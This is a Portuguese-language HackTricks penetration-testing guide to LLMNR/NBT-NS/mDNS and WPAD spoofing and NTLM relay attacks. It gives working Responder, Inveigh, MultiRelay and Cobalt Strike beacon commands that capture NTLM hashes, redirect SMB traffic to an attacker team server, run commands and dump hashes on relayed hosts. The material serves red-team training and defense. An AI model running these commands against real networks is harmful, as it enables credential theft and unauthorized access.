Spoofing LLMNR, NBT-NS, mDNS/DNS e WPAD e Ataques de Relay

Reading time: 6 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Protocolos de Rede

Protocolos de Resolução de Host Local

  • LLMNR, NBT-NS e mDNS:
  • Microsoft e outros sistemas operacionais usam LLMNR e NBT-NS para resolução de nomes local quando o DNS falha. Da mesma forma, sistemas Apple e Linux usam mDNS.
  • Esses protocolos são suscetíveis à interceptação e spoofing devido à sua natureza não autenticada e de broadcast sobre UDP.
  • Responder pode ser usado para se passar por serviços enviando respostas forjadas para hosts que consultam esses protocolos.
  • Mais informações sobre a impersonação de serviços usando Responder podem ser encontradas aqui.

Protocolo de Descoberta Automática de Proxy Web (WPAD)

  • WPAD permite que navegadores descubram configurações de proxy automaticamente.
  • A descoberta é facilitada via DHCP, DNS ou fallback para LLMNR e NBT-NS se o DNS falhar.
  • Responder pode automatizar ataques WPAD, direcionando clientes para servidores WPAD maliciosos.

Responder para Envenenamento de Protocolo

  • Responder é uma ferramenta usada para envenenar consultas LLMNR, NBT-NS e mDNS, respondendo seletivamente com base nos tipos de consulta, visando principalmente serviços SMB.
  • Vem pré-instalado no Kali Linux, configurável em /etc/responder/Responder.conf.
  • Responder exibe hashes capturados na tela e os salva no diretório /usr/share/responder/logs.
  • Suporta tanto IPv4 quanto IPv6.
  • A versão do Windows do Responder está disponível aqui.

Executando o Responder

  • Para executar o Responder com configurações padrão: responder -I <Interface>
  • Para sondagem mais agressiva (com potenciais efeitos colaterais): responder -I <Interface> -P -r -v
  • Técnicas para capturar desafios/respostas NTLMv1 para facilitar a quebra: responder -I <Interface> --lm --disable-ess
  • A impersonação WPAD pode ser ativada com: responder -I <Interface> --wpad
  • Solicitações NetBIOS podem ser resolvidas para o IP do atacante, e um proxy de autenticação pode ser configurado: responder.py -I <interface> -Pv

Envenenamento DHCP com Responder

  • Spoofing de respostas DHCP pode envenenar permanentemente as informações de roteamento de uma vítima, oferecendo uma alternativa mais furtiva ao envenenamento ARP.
  • Requer conhecimento preciso da configuração da rede alvo.
  • Executando o ataque: ./Responder.py -I eth0 -Pdv
  • Este método pode capturar efetivamente hashes NTLMv1/2, mas requer manuseio cuidadoso para evitar interrupções na rede.

Capturando Credenciais com Responder

  • Responder irá se passar por serviços usando os protocolos mencionados acima, capturando credenciais (geralmente NTLMv2 Challenge/Response) quando um usuário tenta se autenticar contra os serviços forjados.
  • Tentativas podem ser feitas para rebaixar para NetNTLMv1 ou desativar ESS para facilitar a quebra de credenciais.

É crucial notar que a utilização dessas técnicas deve ser feita legal e eticamente, garantindo a devida autorização e evitando interrupções ou acessos não autorizados.

Inveigh

Inveigh é uma ferramenta para testadores de penetração e equipes vermelhas, projetada para sistemas Windows. Oferece funcionalidades semelhantes ao Responder, realizando spoofing e ataques man-in-the-middle. A ferramenta evoluiu de um script PowerShell para um binário C#, com Inveigh e InveighZero como as principais versões. Parâmetros detalhados e instruções podem ser encontrados na wiki.

Inveigh pode ser operado através do PowerShell:

powershell
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Ou executado como um binário C#:

bash
Inveigh.exe

NTLM Relay Attack

Este ataque aproveita sessões de autenticação SMB para acessar uma máquina alvo, concedendo um shell de sistema se for bem-sucedido. Os pré-requisitos principais incluem:

  • O usuário autenticado deve ter acesso de Admin Local na máquina retransmitida.
  • A assinatura SMB deve estar desativada.

Encaminhamento e Tunelamento da Porta 445

Em cenários onde a introdução direta na rede não é viável, o tráfego na porta 445 precisa ser encaminhado e tunelado. Ferramentas como PortBender ajudam a redirecionar o tráfego da porta 445 para outra porta, o que é essencial quando o acesso de admin local está disponível para carregamento de drivers.

Configuração e operação do PortBender no Cobalt Strike:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Outras Ferramentas para Ataque de Relay NTLM

  • Metasploit: Configurado com proxies, detalhes de hosts locais e remotos.
  • smbrelayx: Um script Python para relatar sessões SMB e executar comandos ou implantar backdoors.
  • MultiRelay: Uma ferramenta do conjunto Responder para relatar usuários específicos ou todos os usuários, executar comandos ou despejar hashes.

Cada ferramenta pode ser configurada para operar através de um proxy SOCKS, se necessário, permitindo ataques mesmo com acesso indireto à rede.

Operação do MultiRelay

O MultiRelay é executado a partir do /usr/share/responder/tools diretório, visando IPs ou usuários específicos.

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Essas ferramentas e técnicas formam um conjunto abrangente para conduzir ataques de NTLM Relay em vários ambientes de rede.

Forçar Logins NTLM

No Windows, você pode ser capaz de forçar algumas contas privilegiadas a se autenticar em máquinas arbitrárias. Leia a página a seguir para aprender como:

Force NTLM Privileged Authentication

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks